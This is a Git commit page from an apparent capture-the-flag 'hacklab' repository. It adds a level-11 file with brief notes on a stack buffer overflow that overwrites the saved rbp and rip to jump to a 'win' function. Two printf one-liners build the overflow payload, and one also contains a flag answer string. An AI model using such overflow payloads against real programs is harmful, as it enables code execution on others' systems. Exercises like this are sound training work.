ejung/hacklab
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

11

Browse Source
This commit is contained in:
Eggert Jung
2026-01-28 12:57:01 +01:00
parent ded1ad9d4c
commit 71feaaad5a
6 changed files with 181 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

7
4/level11/test Normal file
View File

@@ -0,0 +1,7 @@
last key
32 byte filler
overwrite rbp with sane address (doesnt need to be specific, just dont segfault bc of memory region)
overwrite rip with address of win
#printf 'hacklab{why_c4n7_y0u_ju57_d0_th3_m4th_eBPiC6YB}\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x90\xde\xff\xff\xff\x7f\x00\00\x96\x11\x40\00\00\00\00\00\ncat flag.txt\n' > input.txt
printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x90\xde\xff\xff\xff\x7f\x00\00\x56\x13\x40\00\00\00\00\00\ncat flag.txt\n'